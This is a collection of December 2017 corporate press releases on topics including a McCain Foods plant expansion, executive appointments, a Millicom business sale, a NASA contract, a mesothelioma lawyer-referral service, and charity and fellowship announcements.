Educating employees about appropriate investment choices and asset allocations based on their retirement goals and time horizon to help employees more effectively accumulate and protect savings over the long term.

"The end game for MassMutual's data capabilities is to help employers and potentially employees make better, more informed decisions about how to manage their retirement savings plans," Mermelstein said. "We see the latest enhancements as helping employers implement retirement plan designs and incorporate programs that encourage behaviors that encourage rather than discourage savings."

About MassMutual

MassMutual is a leading mutual life insurance company that is run for the benefit of its members and participating policyowners. MassMutual offers a wide range of financial products and services, including life insurance, disability income insurance, long term care insurance, annuities, retirement plans and other employee benefits. For more information, visit www.massmutual.com.

Contacts:

David Potter

Media Relations

860-562-1525

[email protected]

1National Bureau of Economic Research, Hardship Withdrawals from 401(k) Savings, Borrowing from the Future: 401(k) Plan Loans and Loan Defaults, http://www.nber.org/papers/w21102

2Employee Benefits Research Institute, 401k Loan Activity, https://www.ebri.org/pdf/briefspdf/EBRI_IB_423.Apr16.401k-Update.pdf,

3American Benefits Institute, Trends in 401(k) Plans, https://www.worldatwork.org/waw/adimLink?id=71489

4Department of Labor, Patterns of Marriage and Divorce, https://www.bls.gov/opub/mlr/2013/article/marriage-and-divorce-patterns-by-gender-race-and-educational-attainment-1.htm

RS-43561-00

SOURCE MassMutual

Related Links

http://www.massmutual.com


BURLEY  McCain Foods has broken ground on the $200 million expansion it says will bring 180 jobs to its Burley plant.

At a ceremony earlier this month, Idaho Director of Labor Melinda Smyser said the state has committed $2.5 million in workforce training funds for the companys expansion. The training will help employees learn skills to operate the new and highly technical food processing equipment.

The 259,000 square-foot facility is expected to begin production in fall of 2018, helping to meet the growing demand for frozen potato products.

McCain Foods is one of Idahos largest and most community minded companies, Smyser said. For the Burley area, this $200 million expansion means 180 good-paying permanent positions, several hundred short-term construction jobs and 15,000 acres of increased opportunities for local potato farmers.

The expansion was initially announced in May. Also attending the ceremony were Lt. Gov. Brad Little, Idaho Director of Commerce Megan Ronk, Idaho Director of Agriculture Celia Gould, Idaho Speaker of the House Scott Bedke, Burley Mayor Merlin Smedley, Idaho Commerce Grants and Contracts Manager Cindy Lee and Idaho Commerce Business Attraction Manager Susie Davidson.

This facility has been a part of the Burley community since the 1960s and we are pleased to celebrate our opportunity for growth within this community, said Jeff DeLapp, president of McCain North America. The Burley location offers availability of skilled workforce and allows for close proximity to quality potatoes to supply the expanded production line.

Smyser also said McCain Foods positively impacts the workforce, industry and communities where its plants are located. The company received the Business of the Year award from the National Association of State Workforce Agencies at its national conference in October in Coeur dAlene.

The Burley plant expansion follows two similar projects at McCain Foods in Canada this year. In July, the company said it would expand production capacity by 15 percent at its french fry manufacturing plant in Coaldale, Alberta. It opened a $65 million potato specialty production line at its flagship facility in Florenceville-Bristol, New Brunswick, in October.

McCain Foods USA is the American division of McCain Foods Limited, which employs more than 20,000 people and operates 53 production facilities on six continents. McCain is the worlds largest manufacturer of frozen potato specialties and also produces products such as appetizers, vegetables and desserts.

The company has 11 production facilities and approximately 3,800 employees in the U.S.
SAN DIEGO, Dec. 19, 2017 /PRNewswire/ -- Medical Marijuana, Inc. (OTC: MJNA), the first publicly traded cannabis company in the United States, today announced that its Vice President of Operations, Blake N. Schroeder, Esq., has been promoted to Chief Operating Officer. Schroeder will also remain in his dual role as Chief Executive Officer of Medical Marijuana, Inc. subsidiary Kannaway, which sells hemp-based botanical products for health and wellness.

Schroeder, who joined Medical Marijuana, Inc. and Kannaway in March of 2016, has more than 10 years of experience leading international direct sales companies, with extensive experience in the nutrition industry ranging from legal and regulatory insight to overseeing all aspects of global sales, product development, marketing, distribution and operations.

"We are proud to have Blake as a senior leader and this promotion is well-deserved," said Medical Marijuana, Inc. CEO Dr. Stuart Titus. "Since joining our organization, Blake has delivered dramatic performance results, pioneered new business strategies and helped improve our operations and brand presence worldwide. We're confident in his ability to take us to yet another level of success. Blake is known for his ability to drive significant revenue increases and Medical Marijuana, Inc. was pleased to announce that throughout Q3 2017, we shattered monthly and daily sales records, with a year-over-year increase of 255%."

"I'm excited about my expanded role at Medical Marijuana, Inc. and look forward to helping drive the organization's continued growth, contribute to its strategic direction, and provide access to CBD to more people than ever across the globe," said Schroeder.

In Nov. 2017, Kannaway  the Medical Marijuana, Inc. subsidiary for which Schroeder serves as CEO  announced its largest-ever revenue month in the history of the Company and the launch of several new products.

Schroeder holds a B.S. in Finance from Utah State University, as well as a J.D. from Syracuse University College of Law.

About Medical Marijuana, Inc.

We are a company of firsts. Our mission is to be the premier cannabis and hemp industry innovators, leveraging our team of professionals to source, evaluate and purchase value-added companies and products, while allowing them to keep their integrity and entrepreneurial spirit. We strive to create awareness within our industry, develop environmentally-friendly, economically sustainable businesses, while increasing shareholder value. For details on Medical Marijuana, Inc.'s portfolio and investment companies, visit www.medicalmarijuanainc.com.

To see Medical Marijuana, Inc.'s corporate video, click here.

Shareholders are also encouraged to visit the Medical Marijuana, Inc. Shop for discounted products.

FORWARD-LOOKING DISCLAIMER

This press release may contain certain forward-looking statements and information, as defined within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934, and is subject to the Safe Harbor created by those sections. This material contains statements about expected future events and/or financial results that are forward-looking in nature and subject to risks and uncertainties. Such forward-looking statements by definition involve risks, uncertainties and other factors, which may cause the actual results, performance or achievements of Medical Marijuana, Inc. to be materially different from the statements made herein.

FOOD AND DRUG ADMINISTRATION (FDA) DISCLOSURE

These statements have not been evaluated by the FDA and are not intended to diagnose, treat or cure any disease.

LEGAL DISCLOSURE

Medical Marijuana, Inc. does not sell or distribute any products that are in violation of the United States Controlled Substances Act (US.CSA). These companies do grow, sell, and distribute hemp-based products and are involved with the federally legal distribution of medical marijuana-based products within certain international markets. Cannabidiol is a natural constituent of hemp oil.

CONTACT:

Public Relations Contact:

Andrew Hard

Chief Executive Officer CMW Media

P. 888-829- 0070

[email protected]

www.cmwmedia.com

SOURCE Medical Marijuana, Inc.

Related Links

http://www.medicalmarijuanainc.com


NEW YORK, Dec. 19, 2017 /PRNewswire/ -- The Mesothelioma Victims Center says, "We are the leading advocates in the United States for US Navy Veterans or people who have been diagnosed with mesothelioma and our number one goal is they receive the best possible financial compensation settlement. We are also the leading advocate for a Navy Veteran or people with mesothelioma hiring the nation's most skilled, capable and experienced full-time mesothelioma attorneys because having the best legal representation and receiving the best possible compensation are directly related, as we would like to discuss anytime at 800-714-0303.

Mesothelioma Compensation

"What most diagnosed victims of mesothelioma, or their family members, do not realize is mesothelioma financial compensation can range from hundreds of thousands, to millions of dollars, and only the nation's most capable mesothelioma attorneys get the best financial compensation settlement results for their clients on a consistent basis. If a diagnosed person, or their family members, would call us at 800-714-0303 we will provide them with instant access to some of the nation's most experienced mesothelioma lawyers. The lawyers we suggest know how to optimize a mesothelioma financial compensation claim. Again, our passion is making certain all diagnosed victims of mesothelioma really do get the best financial compensation settlement." http://MesotheliomaVictimsCenter.Com

Reasons Why A US Navy Veteran or Person with Mesothelioma Should Call the Mesothelioma Victims Center for Instant Access to The Nation's Leading Mesothelioma Compensation Attorneys:

The full-time mesothelioma lawyers recommended by the Mesothelioma Victims Center are either managing partners or senior partners at their law firms. Their law practice is 100% focused on mesothelioma financial compensation claims on a nationwide basis, and they have a decade plus of family references.

The mesothelioma lawyers recommended by the group have all had at least one million-dollar mesothelioma compensation settlement for their clients within the last 12 months.

mesothelioma compensation settlement for their clients within the last 12 months. The extremely skilled mesothelioma attorneys suggested by the Mesothelioma Victims Center can be in the home of a diagnosed person typically within 48 hours for a house call to get the specifics of how or where the person was exposed to asbestos. This information is incredibly vital because it becomes the foundation for the mesothelioma compensation claim.

Vital financial compensation tip for a US Navy Veteran or a person with mesothelioma from the Mesothelioma Victims Center: "Our tip would be please do not put off starting the mesothelioma compensation process if you have recently been diagnosed with this rare cancer caused by asbestos exposure and please call us at 800-714-0303 before you hire a lawyer or law firm. We want to make certain you are dealing directly with some of the most qualified mesothelioma lawyers in the United States." http://MesotheliomaVictimsCenter.Com

US workers are still being exposed to asbestos even though there are extremely strict laws governing exposure to asbestos. The EPA provides a list of products not banned because they contain asbestos: https://www.epa.gov/asbestos/us-federal-bans-asbestos.

According to the CDC, the states indicated with the highest incidence of mesothelioma include Maine, Massachusetts, Connecticut, Maryland, New Jersey, Pennsylvania, Ohio, West Virginia, Virginia, Michigan, Illinois, Minnesota, Louisiana, Washington, and Oregon.

However, based on the calls the Mesothelioma Victims Center receives a US Navy Veteran or a person with mesothelioma could live in any state including New York, Florida, California, Texas, Illinois, Ohio, Iowa, Indiana, Missouri, North Carolina, Kentucky, Tennessee, Georgia, Alabama, Oklahoma, Arkansas, Kansas, Nebraska, Montana, North Dakota, Wyoming, Colorado, New Mexico, Utah, Nevada, Arizona, Idaho, or Alaska.

High-risk work groups for exposure to asbestos include US Navy Veterans, power plant workers, shipyard workers, oil refinery workers, steel mill workers, manufacturing/factory workers, pulp or paper mill workers, plumbers, electricians, auto mechanics, machinists, miners, construction workers, insulators, rail road worker, roofers, or firemen. As a rule, these types of workers were exposed to asbestos in the 1950's, 1960's, 1970's, or 1980's. US Navy Veterans make up about one-third of all US Citizens who are diagnosed with mesothelioma each year. http://MesotheliomaVictimsCenter.Com

For more information about mesothelioma please refer to the National Institutes of Health's web site related to this rare form of cancer: https://www.cancer.gov/types/mesothelioma.

Media Contact:

Michael Thomas

800-714-0303

[email protected]

SOURCE Mesothelioma Victims Center
"Method would not be where it is today without Heather's countless contributions," said Method CEO and co-founder David Parkinson. "Under her leadership, we have achieved a level of operational excellence and efficiency that enabled us to become a nationally recognized agency in a very short amount of time. We look forward to reaching new heights together with Heather in this elevated role."

Formerly the executive vice president of human resources and operations at The OutCast Agency, England joined Method in July 2014 as senior vice president of operations. She has played an instrumental role in the agency's meteoric rise and national recognition, including being named North America Technology Agency of the Year by The Holmes Report in 2016.

"I'm proud to be a part of Method's incredible story," England said. "Method not only takes a differentiated approach to communications, but also to the agency business by focusing on true collaboration and integration for our teams and the services we offer. Method has become the PR agency known for its established relationships, resourcefulness, and incredible results, and I look forward to working with our outstanding team to build upon our success."

Joining shortly after Method established its fledgling San Francisco office, England was pivotal in acquiring larger office space in the heart of downtown San Francisco and attracting top Bay Area talent across all levels, recording over 80 percent staff growth in the last three years. Her growth strategy and operations expertise helped Method scale its business and support an expanding client portfolio.

England works across Method's PR and integrated services teams to improve overall business performance on all fronts; including building out new services and capabilities, process improvement, business development, budgeting, planning, profitability, agency brand, internal communications, employee and agency development, leadership and client relations.

About Method

Method is the communications catalyst for breakthrough brands and category leaders. Founded in 2010, Method helps its clients share their ambitious visions with the world. As The Holmes Report's 2016 Technology Agency of the Year, we produce award-winning results from Salt Lake City and San Francisco. Learn more at methodcommunications.com.

Contact

Jacob Moon

801-461-9797

[email protected]

SOURCE Method Communications

Related Links

https://www.methodcommunications.com


LUXEMBOURG, Dec. 19, 2017 /PRNewswire/ -- Millicom announced today that it has signed an agreement for the sale of its Rwanda operations to subsidiaries of Bharti Airtel Limited. The total consideration of the transaction is approximately 6x 2017 adjusted EBITDA, payable over two years, consisting of a mix of cash, vendor loan note and earn out. The transaction is subject to regulatory approvals.

Mauricio Ramos, CEO of Millicom, commented: "The sale of our business in Rwanda is in line with our strategy to focus on providing advanced fixed and mobile data services in Latin America. We are very grateful to the government of Rwanda for their support throughout the last eight years, which allowed us to extend digital inclusion to thousands of Rwandans. We are also very grateful to all our employees, whose drive and commitment enabled Tigo Rwanda to become a leading provider of digital services in the country. We are confident that Bharti Airtel will build on the strength of Tigo Rwanda and enhance the services provided to customers."



For further information, please contact



Press:

Vivian Kobeh, Corporate Communications Director

+1-305-476-7352 / +1-305-302-2858

[email protected]

Investors:

Michel Morin, VP Investor Relations

+352-277-59094

[email protected]

Mauricio Pinzon, Investor Relations Manager

Tel: +44-20-3249-2460

[email protected]

This information was brought to you by Cision http://news.cision.com

http://news.cision.com/millicom-international-cellular/r/millicom-to-sell-its-rwanda-business-to-bharti-airtel,c2417522

The following files are available for download:

http://mb.cision.com/Main/950/2417522/768861.pdf Millicom to sell its Rwanda business to Bharti Airtel

SOURCE Millicom International Cellular
Monaco, the pioneering payments and cryptocurrency platform, today announced a series of new appointments to its senior management team, with Erald Ghoos as Chief Operating Officer, Sean Rach as Chief Marketing Officer, Ken Baylor as Chief Cybersecurity Officer, and Weiyi Zhang as Platform Architect.

(Photo: http://mma.prnewswire.com/media/620739/Monaco_Erald_Ghoos.jpg )



(Photo: http://mma.prnewswire.com/media/620741/Monaco_Sean_Rach.jpg )

(Photo: http://mma.prnewswire.com/media/620740/Monaco_Ken_Baylor.jpg )



(Photo: http://mma.prnewswire.com/media/620742/Monaco_Weiyi_Zhang.jpg )



Ghoos, Baylor, Rach, and Zhang will report directly to Kris Marszalek, Co-Founder and CEO of Monaco. "As Monaco continues our international expansion to fulfil our vision of putting cryptocurrency in every wallet, I am confident the combined expertise of Ghoos, Baylor, Rach, and Zhang will pave our way to global success," said Marszalek. "We look forward to working together as a team to continue our efforts in being a fully-compliant industry leader in the cryptocurrency space."

Erald Ghoos, Chief Operating Officer

Erald Ghoos joins Monaco as Chief Operating Officer coming from Payreto, a startup offering payment solutions to financial institutions, where he led the company as Chief Operating Officer in its growth from a single product business to a full-service, global solutions provider. Ghoos' background also includes leadership roles in operations at companies including Funding Circle, AXA Bank, Equa Bank, and Paysafe. As Vice President of Risk and Financial Ops at Paysafe, Ghoos led a team of over 100 people responsible for risk, compliance, fraud, payments, banking network, bank relationships, underwriting, chargeback and collection handling, treasury, and reconciliation functions.

"My experience at Payreto and Paysafe will allow me to lead Monaco in its day-to-day operations and growth as we expand across the globe," said Ghoos. "I look forward to joining the team and working to advance our mission to bring cryptocurrency to every wallet."

Ken Baylor, Chief Cybersecurity Officer

Globally renowned security expert Dr. Ken Baylor joins the Monaco team as Chief Cybersecurity Officer. With over 20 years' experience, Baylor is a leader in data protection, information security, and regulatory compliance. He founded the Vendor Security Alliance, an industry standard for evaluating third party vendor security, which is relied on by thousands of global companies. He previously held senior security and compliance positions at Uber, Pivotal, Wells Fargo, Symantec, and McAfee. Baylor holds CISSP, CISM and CIPP/E certifications and was awarded Ph.D., law and MBA degrees.

"Security and compliance are of the utmost importance where cryptocurrency is involved," said Baylor. "I am happy to join Monaco and lead the team in prioritizing our users' safety."

Sean Rach, Chief Marketing Officer

Sean Rach has joined Monaco as Chief Marketing Officer. In his role, Rach will be responsible for promoting Monaco's global brand and building the company's credibility with key stakeholders to establish the company as a thought leader and innovator in the industry. Rach joins Monaco from Prudential Corporation Asia, where he was Chief Marketing Officer and had championed the development of integrated marketing solutions for Prudential's businesses in Asia. Prior to Prudential, Rach led the regional American Express account at Ogilvy & Mather, where his team launched the Cathay Pacific American Express card, one of the most successful co-brand cards to date. He also served as Managing Director of OgilvyOne Hong Kong, a 100+ person agency with clients including American Express, Western Union, BlackRock, SmarTone, and IBM.

"Monaco has an unrivaled value proposition for card holders. Joining the leadership team of Monaco at this stage of development is very exciting and I look forward to applying my experiences to expand the brand globally," said Rach.

Weiyi Zhang, Platform Architect

Dr. Weiyi Zhang joins the Monaco team as Platform Architect. He was most recently Vice President, Quantitative Trading at AP Capital Management in Hong Kong, where he led the development of an algorithmic trading platform and managed the Asian market arbitrage portfolio. Zhang was previously Vice President of Electronic Market Making at JP Morgan, where he led volatility trading strategy and arbitrage strategy development in the automated market making business. Prior to that, he was Quantitative Trading Strategist of Equity Derivative Trading at Deutsche Bank. He had also spent four years as Research Scientist at European Organization for Nuclear Research in Switzerland, where he worked on the LHC-ATLAS experiment to search for the God Particle. Zhang holds a PhD in Computational Physics from the University of Pittsburgh.

I am thrilled to join the Monaco team and apply the learnings from both banks and hedge funds to build a better product for Monacos customers, said Zhang. The vision were pursuing is bold and Im confident we can meaningfully contribute to taking cryptocurrency mainstream.

About Monaco

Monaco Technology GmbH with a vison of Cryptocurrency in Every WalletTM is the pioneering payments and cryptocurrency platform. The Monaco Visa card and mobile app allow users to buy, exchange, and spend fiat and cryptocurrencies, such as bitcoin and ethereum, at perfect interbank exchange rates. Founded in June 2016, Monaco raised US$26.7 million through one of the most successful Token Sale events to date. The company is headquartered in Switzerland with offices in Hong Kong and Singapore.

For more information on Monaco, please visit mona.co . Monaco Visa cards can be reserved with the Monaco app, available for download for iOS and Android users.

SOURCE Monaco
BOSTON, Dec. 19, 2017 /PRNewswire/ -- As tax reform negotiations come to an end and a bill is finalized, Congress must shift toward reforming the nation's unsustainable housing finance system, according to mortgage bankers across Massachusetts who say housing finance reform is the last piece of unfinished business from the 2008 financial crisis.

"It has been nine years since tax payers assumed guardianship of Fannie and Freddie," said Phil DeFronzo, President of Norcom Mortgage. "Congress and the Administration have been verbally steadfast in making housing finance reform a top priority. So now that a tax reform bill has passed Congress, hopefully lawmakers will shift their focus to addressing the future of the nation's housing market."

Fannie Mae and Freddie Mac were placed under government conservatorship  or legal guardianship  during the financial crisis in 2008. The move was intended to protect the U.S. housing system but instead resulted in a $187 billion taxpayer-funded government bailout. Nearly ten years later, these government-sponsored enterprises remain under the government's control, monopolizing the mortgage system and creating an unsustainable market.

"Massachusetts has one of the most expensive housing markets in the country, leaving many individuals and families unable to buy homes in their desired neighborhoods," said DeFronzo. "And because of the skyrocketing prices, potential homeowners and the young, educated workforce are fleeing to reside in other states. The uncertainty of our current housing finance system is bad for not only Massachusetts's economy, but for the nation's."

The Mortgage Bankers Association (MBA), the nation's leading advocate for the real estate finance industry, has laid out a proposal to overhaul the current housing finance system. The plan aims to expand access to credit, promote affordable housing, and support underserved market segments.

"Congress is the only one with authority to lock-in permanent positive changes that have occurred to Fannie Mae and Freddie Mac since the financial crisis. It's is imperative they tackle this ever important issue in the immediate future," said DeFronzo.

SOURCE Mortgage Bankers Association
HOUSTON, Dec. 19, 2017 /PRNewswire-USNewswire/ -- NASA has awarded the Aircraft Maintenance, Logistics, Integration, Configuration Management and Engineering (ALICE) contract to Yulista Tactical Services, LLC, in Huntsville, Alabama.

The contract includes a cost-plus-award-fee baseline with indefinite delivery/indefinite quantity award-fee and fixed-fee task orders. The contract base period of 18 months begins March 1, 2018, and is followed by a one-year option and a 15-month option. The total maximum value of the contract is approximately $264 million.

The ALICE contract provides support for the Flight Operations Directorate at NASA's Johnson Space Center, and aircraft based at Ellington Field in Houston, and El Paso, Texas, NASA's Langley Research Center in Hampton, Virginia, and other locations, as required. Yulista will provide flight operations services and aircraft maintenance, as well as engineering and operational support for a variety of airframes, engines and support equipment.

The Flight Operations Directorate is home to Johnson's aircraft operations and is responsible for planning and executing human spaceflight missions. This includes the training and support of astronauts, flight directors and flight controllers.

Learn more about NASA and agency programs at:

https://www.nasa.gov

NASA Johnson Space Center news releases and other information are available automatically by sending an Internet electronic mail message to [email protected]. In the body of the message (not the subject line) users should type "subscribe hsfnews" (no quotes). This will add the email address that sent the subscribe message to the news release distribution list. The system will reply with a confirmation via E-mail of each subscription. Once you have subscribed you will receive future news releases via e-mail.

SOURCE NASA

Related Links

http://www.nasa.gov


BATTLE CREEK, Mich., Dec. 18, 2017 /PRNewswire-USNewswire/ -- Concerts, museum events, storytelling and public proclamations are all planned as hundreds of W.K. Kellogg Foundation (WKKF) grantees, partners and communities across the United States mark the second annual National Day of Racial Healing (#NDORH) on Jan. 16, 2018.

"Racial healing is a process we can undertake as individuals, in communities and across society," says Kellogg Foundation President and CEO La June Montgomery Tabron. "At the Kellogg Foundation, we are committed to racial healing in order to create vibrant futures for children. The National Day of Racial Healing is a powerful platform for highlighting the healing work already underway and widening the circle of leaders committed to transforming their communities through this essential work."

WKKF established the National Day of Racial Healing in January 2017 as an extension of its ongoing Truth, Racial Healing & Transformation (TRHT) efforts. Through a wide range of events, discussions and activities, groups brought together by civic, community, government and private organizations will focus on healing the wounds created by conscious and unconscious bias (racial, ethnic and religious).

"In healing, we acknowledge the truth of past wrongs and the authentic narratives of people across communities," Tabron says. "The National Day of Racial Healing is a call to action for people to come together and begin the dialogue. Honest responses to questions that ask 'Do you remember the moment when you first felt affirmed as a human being?' and 'When were you first made aware of differences in people?' are the first steps in helping us craft a new narrative and national discourse  one dedicated to building equitable communities for our children." (Download a conversation guide here.)

NDORH is an opportunity for initiating collective action that builds upon Truth, Racial Healing & Transformation (TRHT) groundwork in 2017  in particular in 14 TRHT places. A few highlights of planned events for Jan. 16, 2018 include:

In New Orleans : A special NDORH concert with jazz and gospel singer Lizz Wright as part of her TRHT tour, at the Mahalia Jackson Theater for the Performing Arts. This concert will also stream live on the National Day of Racial Healing's Facebook page. The event is being coordinated by several organizations, including: Ashe Cultural Arts Center, the Welcome Table, Little Black Pearl, TRHT New Orleans, Foundation for Louisiana and the Mayor's office. Additional details will be shared in the coming weeks.

: A special NDORH concert with jazz and gospel singer as part of her TRHT tour, at the Mahalia Jackson Theater for the Performing Arts. This concert will also stream live on the National Day of Racial Healing's Facebook page. The event is being coordinated by several organizations, including: Ashe Cultural Arts Center, the Welcome Table, Little Black Pearl, TRHT New Orleans, Foundation for and the Mayor's office. Additional details will be shared in the coming weeks. TRHT Greater Chicago will host an event at the Illinois Holocaust Museum & Education Center called "What is Our Story," featuring personal narratives of community and civic leaders, providing opportunities to identify and connect through the common threads that bind us. This will be followed by a guided tour of the Take a Stand Center and the World Premiere of the holographic Survivor Stories Experience.

The Greater Richmond Virginia TRHT will launch TRHT365  a year round process of collecting and curating short stories of narrative change, relationship building and transformation in Richmond . While TRHT365 will mark NDORH, it also underscores that to change hearts, minds and communities, racial healing must be ongoing work.

. While TRHT365 will mark NDORH, it also underscores that to change hearts, minds and communities, racial healing must be ongoing work. In partnership with organizations like the National League of Cities, National Civic League, International City/County Management Association and the National Conference of State Legislatures, cities, counties and states across the country are planning to issue proclamations honoring the National Day of Racial Healing. As of Dec. 18 , more than 150 places are committed to issuing proclamations and more are expected to follow in the coming weeks.

, more than 150 places are committed to issuing proclamations and more are expected to follow in the coming weeks. Other national organizations like the American Libraries Association and the Association of American Colleges & Universities, among others, are activating their member libraries and campuses to plan events on the day.

To find resources and learn more about other events planned throughout the U.S. for the National Day of Racial Healing, visit http://healourcommunities.org/ndorh-2018.

SOURCE W.K. Kellogg Foundation

Related Links

http://www.wkkf.org


"We started with the vision of creating a workplace where employees 'look forward to Monday'. To achieve this vision, we focus on employee well-being and have paid attention to key design features such as excellent air filtration, modern furniture, collaborative work spaces, ample connectivity for mobile working, and contemporary lighting," said Joey Wat, President and Chief Operating Officer of Yum China. "We are confident that our new office space will create a happy workplace that will facilitate collaboration and inspire our colleagues to even more creativity in their daily work. It will serve as the perfect platform for us to continue expanding and supporting our national restaurant network."

With the office interior designed to meet the gold standard of the Leadership in Energy and Environmental Design (LEED) building rating system, the Yum China Building incorporates a suite of advanced sustainable features that are intended to provide staff with the optimal working environment. Smart, low-carbon air conditioning systems save energy and ensure temperature and air flow are optimal. A cutting-edge air purification system has also been installed to guarantee excellent indoor air quality.

Modern co-working spaces or "social hubs", allow employees to meet and chat over a cup of coffee or during lunch. The contemporary layout also includes mobile work stations, equipped with adjustable tables and screens, so that employees can work more efficiently and exchange ideas across departments and levels.

Employee health and wellness has also been prioritized, and the Yum China Building is equipped with facilities that can be used for exercise, yoga and team building activities. It includes four showers and rooms for physiotherapy and nursing mothers. In addition, chairs were selected by representatives from each department to ensure comfort and compliance with ergonomic standards. These designs reflect Yum China's commitment to promoting the importance of healthy, active lifestyles.

Forward-Looking Statements

This press release contains "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. Forward-looking statements generally can be identified by the fact that they do not relate strictly to historical or current facts and by the use of forward-looking words such as "expect," "expectation," "believe," "anticipate," "may," "could," "intend," "belief," "plan," "estimate," "target," "predict," "likely," "will," "should," "forecast," "outlook", "look forward to" or similar terminology. These statements are based on current estimates and assumptions made by us in light of our experience and perception of historical trends, current conditions and expected future developments, as well as other factors that we believe are appropriate and reasonable under the circumstances, but there can be no assurance that such estimates and assumptions will prove to be correct. Forward-looking statements are not guarantees of performance and are inherently subject to known and unknown risks and uncertainties that are difficult to predict and could cause our actual results to differ materially from those indicated by those statements. We cannot assure you that any of our expectations, estimates or assumptions will be achieved. The forward-looking statements included in this press release are only made as of the date of this press release, and we disclaim any obligation to publicly update any forward-looking statement to reflect subsequent events or circumstances, except as required by law. All forward-looking statements should be evaluated with the understanding of their inherent uncertainty. You should consult our filings with the Securities and Exchange Commission (including the information set forth under the captions "Risk Factors" and "Forward-Looking Statements" in our Annual Report on Form 10-K) for additional detail about factors that could affect our financial and other results.

About Yum China Holdings, Inc.

Yum China Holdings, Inc. is a licensee of Yum! Brands in mainland China. It has exclusive rights in mainland China to KFC, China's leading quick-service restaurant brand, Pizza Hut, the leading casual dining restaurant brand in China, and Taco Bell, which opened its first restaurant in China at the end of 2016. Yum China also owns the Little Sheep and East Dawning concepts outright. Yum China is well positioned for growth thanks to its strong competitive position, integration of its brands into Chinese popular culture and consumers' daily lives, expanding geographic footprint in China and existing operational expertise. It has a strong capital position, no external debt and expects to continue growing its system sales and profit by adding new restaurants and through growing same-store sales. Yum China had more than 7,700 restaurants and more than 420,000 employees in over 1,100 cities at the end of August 2017. A new generation of younger consumers who are digitally sophisticated and brand driven are fueling growth in consumption in China. The ongoing growth of the middle class and urban population in China is expected to create the world's largest market for restaurant brands, with Yum China poised to be the market leader.

Yum China Media Contacts:

Forest Liu, Director, Finance Media, at +86 21 2407 7505

Anne Bark, Brunswick Group, at +86 21 6039 6388

SOURCE Yum China Holdings, Inc
HOUSTON, Dec. 19, 2017 /PRNewswire/ -- Nova Medical Centers, based out of Houston, TX, joins forces with U.S. Marine Corps Reserve Toys for Tots Program to aid in Toys for Tots' mission to serve thousands of underprivileged children. From October to December, all 48 Nova Medical Centers, located in Texas, Tennessee, Georgia, and Indiana, were toy drop-sites and collected over 3,500 toys. They are thankful to their clients, patients and employees for making this toy drive such a success.

As a family-owned and operated company, Nova Medical Centers was honored to work with such a generous organization. CEO Ulf Rohde shared that, "We appreciate the efforts of everyone working together towards this cause of making sure underprivileged children have a nice Christmas. Collecting toys for Toys for Tots is a way for our employees and others to give back, but we couldn't do it without the support of our customers. We are already looking forward to next year."

ABOUT TOYS FOR TOTS

The U.S. Marine Corps Toys for Tots Program's mission is to collect new, unwrapped toys during October, November and December each year, and distribute those toys as Christmas gifts to less fortunate children in the community. The objectives of Toys for Tots are to help less fortunate children throughout the United States experience the joy of Christmas; to play an active role in the development of one of our nation's most valuable resources  our children; to unite all members of local communities in a common cause for three months each year during the annual toy collection and distribution campaign; and to contribute to better communities in the future.

ABOUT NOVA MEDICAL CENTERS

Nova Medical Centers began as a single facility formed 25 years ago in Conroe, Texas, to provide the highest level of healthcare to patients suffering from work-related injuries. Currently, Nova treats more than 40,000 injuries each year and sees more than 600,000 patient visits in 12 months. Nova operates more than 48 occupational medicine facilities across Texas, Georgia, Tennessee, and Indiana. For more information please visit: www.n-o-v-a.com.

SOURCE Nova Medical Centers

Related Links

http://www.n-o-v-a.com


NEW YORK, Dec. 19, 2017 /PRNewswire/ -- Fusemachines is inviting applications for its annual Artificial Intelligence Fellowship, a one-year program aimed at expanding the talent pool of AI engineers and creating opportunities in the field of artificial intelligence and machine learning. At the end of the fellowship program, 25 fellows will receive a MicroMasters in Artificial Intelligence from Columbia University through the online teaching platform edX.

The Fusemachines AI Fellowship is designed to provide students with a Computer Science or Math background with in-depth training in artificial intelligence and machine learning. Its ultimate aim is to produce qualified AI experts to meet the rising demands of industries seeking to advance in machine learning, deep learning, and natural language processing.

"Columbia prepares students to be innovators and leaders, so it's fitting that we are offering cutting-edge content taught by outstanding research faculty, marrying advanced technology with sound pedagogy, and opening it up to learners around the world," said Soulaymane Kachani, Vice Provost for Teaching and Learning of Columbia University and Senior Vice Dean for Columbia Engineering.

Most advanced technologies built using artificial intelligence are limited to big organizations in major cities. Fusemachines' goal is to "Democratize AI"  empower local communities by giving them opportunities to build the next generation of AI products. This challenging task can only be achieved by making AI education accessible to people of every race, gender, and background.

After successfully launching a fellowship in Nepal, Fusemachines is now laying the groundwork for a program in the Dominican Republic, Rwanda, and New York City, which attract a vast pool of students with high aptitudes in scientific disciplines and an innovative mindset. As AI engineers are fast becoming the most sought-after hires across industries, Fusemachines recognizes the responsibility to teach young students the transformative potential of artificial intelligence. The one-year fellowship will provide selected scholars from underserved communities in New York City with mentorship and resources to develop advanced skills in artificial intelligence and machine learning.

Qualified students are invited to apply for the AI Fellowship NYC by January 15th. Click here to apply online.

About Fusemachines

Fusemachines is an Artificial Intelligence solutions and services provider that offers AI engineers to companies seeking to develop their capabilities in big data & machine learning. We help identify opportunities within an organization where AI can be best exploited. Our AI engineers augment the existing staff and our hands-on approach ensures success at all levels.

Media Contact

Preeti Adhikary

Phone: 1-800-506-3873

Email: [email protected]

SOURCE Fusemachines

Related Links

https://www.fusemachines.com/ai


BOSTON, Dec. 18, 2017 /PRNewswire/ -- PatientPing, a health technology company connecting providers to seamlessly coordinate patient care, today announced a new partnership with Mercy Health, a Catholic healthcare ministry serving Ohio and Kentucky, to enable real-time patient care coordination. With the PatientPing platform, Mercy Health can connect with both hospitals and post-acute care facilities to access and share data outside of their health system. This enables Mercy Health to support care transitions for their Medicare Advantage and Comprehensive Primary Care Plus (CPC+) patients, as well as those under their various bundled payment models. This real-time information allows the health system to take on more risk and improve performance under value-based care arrangements.

"At Mercy Health our focus is to deliver high quality patient care throughout the continuum and ensure integration, follow up and timely care occurs with all patients whether they are in the emergency department, hospital, in a skilled nursing facility or at home," said Mercy Health Select Chief Quality Officer and President, Dr. S. Ramalingam. "Through the PatientPing platform, our clinical care teams now receive real-time information and notifications on their patients. As such, we are able to enhance care coordination so that we can be assured our patients are getting the best possible care and follow up at every step of their healthcare journey."

